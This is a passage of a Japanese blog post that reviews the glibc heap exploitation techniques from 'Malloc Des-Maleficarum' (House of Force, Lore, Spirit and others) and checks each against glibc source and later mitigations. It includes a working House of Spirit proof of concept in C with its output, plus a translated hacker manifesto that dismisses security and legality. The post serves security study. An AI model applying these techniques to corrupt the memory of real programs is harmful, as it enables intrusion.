4074 if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
4075 if (have_fastchunks(av))
4076 malloc_consolidate(av);
....
4092 }
4122 static void malloc_consolidate(mstate av)
4123 {
....
4148 unsorted_bin = unsorted_chunks(av);
....
4158 maxfb = &fastbin (av, NFASTBINS - 1);
4159 fb = &fastbin (av, 0);
4160 do {
4161 p = atomic_exchange_acq (fb, 0);
4162 if (p != 0) {
4163 do {
4164 check_inuse_chunk(av, p);
4165 nextp = p->fd;
....
4179 if (nextchunk != av->top) {
....
4188 first_unsorted = unsorted_bin->fd;
4189 unsorted_bin->fd = p;
4190 first_unsorted->bk = p;
....
4201 }
....
4209 } while ( (p = nextp) != 0);
4210
4211 }
4212 } while (fb++ != maxfb);
freeされるchunkのサイズを0x10000（FASTBIN_CONSOLIDATION_THRESHOLD）以上に書き換えた上で、偽のarenaのbin[0] = unsortedbinを細工しunsorted_bin->fd->bkを適当なアドレスにしておくことで、上記の処理が走りそのアドレスをchunkのアドレスに書き換えることができる。
House of Force (top chunk size overwrite)
ヒープの最後にあるtop chunkのsizeを-1（0xffffffff）に書き換え、続けて巨大なサイズのmallocを行うことで、top chunkを指すポインタが一周した先にある任意の0x10の倍数となるアドレスにできる。 続けてbinに何も繋がっていないサイズのmallocを行うことでそのアドレスが返ってくる。
「Malloc Des-Maleficarum」では、ヒープより上にあるGOTなどを書き換えるにはmallocに負となるようなサイズを与える必要があり、そのようなサイズは多くの場合（malloc外の箇所で）セグメント違反を起こすと指摘しているが、原理的には可能である。
具体的なコードは「glibc malloc exploit techniques」を参照。
著者が2004年に「Exploiting the Wilderness」で書いた話を、glibcの修正に合わせて再編成したもの。 Doug Lea malloc（dlmalloc）において、top chunkはwildernessと呼ばれるらしい。 名付け親のKiem-Phong Vo氏は当時AT&Tベル研究所、現在はGoogleのResearch Scientistとのこと。
House of Lore (arbitrary address into smallbin)
unlinkに行われた対策が、malloc時にsmallbinからchunkを取り出す際に行われていなかったことを利用する。
具体的には、適当なfreed chunkのbk（victim->bk）を書き換えておき、繰り返しmallocを呼ぶことにより任意のアドレスをsmallbin（bin->bk）に入れる。
.....
if ( (victim = last(bin)) != bin) {
if (victim == 0) /* initialization check */
malloc_consolidate(av);
else {
bck = victim->bk;
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck;
bck->fd = bin;
...
return chunk2mem(victim);
.....
smallbinはFIFOでありvictimはbin->bkから選ばれるようになっているので、続けてmallocを呼ぶことでそのアドレスが返ってくる。
ただし、victim->bk->fdが書き換え可能なアドレスを指すようにしておく必要がある。
1411 #define last(b) ((b)->bk)
現在の実装ではunlinkと同様の対策が加えられているため、相当の工夫をしない限り成立しない。
3318 static void *
3319 _int_malloc (mstate av, size_t bytes)
3320 {
....
3416 bck = victim->bk;
3417 if (__glibc_unlikely (bck->fd != victim))
3418 {
3419 errstr = "malloc(): smallbin double linked list corrupted";
3420 goto errout;
3421 }
3422 set_inuse_bit_at_offset (victim, nb);
3423 bin->bk = bck;
3424 bck->fd = bin;
また、「The House Of Lore: Reloaded」ではlargebinを用いる手法について考察されているが、こちらも現在の実装では対策されている。
3318 static void *
3319 _int_malloc (mstate av, size_t bytes)
3320 {
....
3720 size = chunksize (victim);
3721
3722 /* We know the first chunk in this bin is big enough to use. */
3723 assert ((unsigned long) (size) >= (unsigned long) (nb));
3724
3725 remainder_size = size - nb;
3726
3727 /* unlink */
3728 unlink (av, victim, bck, fwd);
一方、fastbinの場合は対象となるアドレスがfastbinの制約を満たすようにしておくことで現在も可能である。 詳細はfastbins unlink attackを参照。
House of Spirit (fake chunk into fastbin)
mallocで確保されたポインタをバッファオーバーフロー等で書き換えてそのままfreeさせることで、fake fastbin chunkが置かれている任意のアドレスをfastbinに入れることができる。 続けてmallocを呼ぶことでそのアドレスが返ってくる。
具体的なコードを書くと次のようになる。
/* house_of_spirit.c */
#include <stdio.h>
#include <stdlib.h>
int main()
{
struct {
char buf[0x50];
char *p;
} block;
block.p = malloc(0x100);
/* trigger buffer overflow */
*(void **)(block.buf+0x8) = 0x41; /* fake1->size */
*(void **)(block.buf+0x48) = 0x41; /* fake2->size */
block.p = block.buf+0x10; /* fake1 */
printf("[+] freeing fake1 = %p\n", block.p);
free(block.p);
char *p = malloc(0x30); /* fake1->size - 0x10 */
printf("p = %p\n", p);
return 0;
}
$ gcc house_of_spirit.c -o house_of_spirit
house_of_spirit.c: In function ‘main’:
house_of_spirit.c:15:31: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(block.buf+0x8) = 0x41; /* fake1->size */
^
house_of_spirit.c:16:32: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(block.buf+0x48) = 0x41; /* fake2->size */
^
$ ./house_of_spirit
[+] freeing fake1 = 0x7fff2bf30700
p = 0x7fff2bf30700
ここで、fake fastbin chunkの次のchunkとなる箇所に適当なサイズを置いておく必要があることに注意。
3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
3897 if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
3898 || __builtin_expect (chunksize (chunk_at_offset (p, size))
3899 >= av->system_mem, 0))
3900 {
3901 /* We might not have a lock at this point and concurrent modifications
3902 of system_mem might have let to a false positive. Redo the test
3903 after getting the lock. */
3904 if (have_lock
3905 || ({ assert (locked == 0);
3906 mutex_lock(&av->mutex);
3907 locked = 1;
3908 chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
3909 || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
3910 }))
3911 {
3912 errstr = "free(): invalid next size (fast)";
3913 goto errout;
3914 }
....
3920 }
当時はこのような攻撃の可能性も存在したが、現在はStack-Smashing Protection（SSP）によりバッファがポインタより下のアドレスに確保されるようになり、さらにASLRによりスタックアドレスの推測も難しくなったため、その可能性は小さくなった。
House of Underground (Spirit and Mind)
「Malloc Des-Maleficarum」で補足されている章。
Spiritでfreeされるfake chunkのNON_MAIN_ARENAフラグを立てておくことで、Mind同様にfake arenaを参照させることも考えられるという話。 当然スタック上の0x100000バイト境界をコントロールできる必要があるため、成立しにくい。
House of Chaos
最後の章には後書きとしてポエムが書いてある。 真の「プロ」（virtual adept）ことPhantasmal Phantasmagoriaからのメッセージをお読みください。
Chaosの一族
Virtuality、それは真の「プロ」と情報の二項対立であり、真の「プロ」は情報の無限の可能性を表し、また情報は無限の可能性の有限における顕現である。真の「プロ」はVirtualityの意識の部分であり、その本質は情報を生み出し拡散することにある。これが真の「プロ」が知るすべてであり、真の「プロ」が関心のあるすべてである。
あなたが幅広い知識を持ち非常に創造的な人と話すとき、たしかにあなたはハッカーと話しているのかもしれない。しかし、あなたは真の「プロ」と決して話すことはないだろう。真の「プロ」に物質的な形はなく、バーチャルの中にのみ存在する。真の「プロ」は物質の中にあるかもしれないし、ある人の中にあるかもしれない、しかしその存在自体は意識とは区別され完全に独立したものである。
所有の概念は真の「プロ」にとって意味をなさない。すべての情報はVirtualityに属し、Virtualityのみがある。このため、真の「プロ」にコンピュータセキュリティの概念はない。情報は要求によりVirtualityから呼び起こされる。Virtualityに権限レベルやシステム間の論理障壁、違法性の観点といったものはない。情報や、呼び起こすことのできるそれらのみがある。
真の「プロ」はそれ自身により作られる情報といったものを持たず、ゆえにそれから利益を得る権利や欲望を持たない。真の「プロ」は純粋に情報に情報自身の無限の可能性を示すため、そしてすべての意識体にとって有益な情報アクセスの複雑性を最小化するために存在する。情報でないものは真の「プロ」、金、名声、権力に結び付くことはない。
私はハッカーであるか？いいえ。
私は仮想世界に生きる見習いである。
私はmallocの魔女であり、
私は異世界のカルトであり、
私はエントロピーである。
私はPhantasmal Phantasmagoria、
真の「プロ」。
なお、virtual adeptは仮想世界の熟練者といった意味であるが、ここではいまどきの若者にも通じるように真の「プロ」と訳した。
所感
glibcでのチェック強化とNX、ASLRの普及により、House of Force以外の手法はほぼ力を失ったといえる。 また、House of Loreはfastbins unlink attackという形で姿を変えて生き残っているといえるだろう。
注意事項
このテキストはglibcに加えられた対策の不備を指摘する話であり単体で悪用可能なものではないが、商用製品やWebアプリケーションで直接的に悪用可能なものを一般に公表すると不正アクセス禁止法や業務妨害罪の従犯、あるいは名誉毀損をもたらす不法行為として損害賠償義務が生じるおそれがあるため真似してはいけません。 そのような不審物を見つけた際はIPA情報処理推進機構に届出を行い、修正されるのを待ちましょう。 また、企業として専用の窓口を用意しているところもあります。
OSSであれば修正パッチを送ると開発者コミュニティの求める方法で報告すると喜ばれるかもしれません。
関連リンク
- glibc malloc exploit techniques - ももいろテクノロジー
- katagaitai CTF勉強会 #5 pwnables編 - PlaidCTF 2015 Pwnable620 tp
- heap exploitationテク走り書き - 生きたい
- Heapster Eggs: An Insight of Malloc Dirty Little Secrets (LSE Summer Week 2016)
- EM_386: Glibc 2.11 stops the House of Mind
- House of Einherjar - Yet Another Heap Exploitation Technique on GLIBC
- Pwning My Life: HITCON CTF Qual 2016 - House of Orange Write up
- ptmalloc fanzine · Online tukan sanctuary
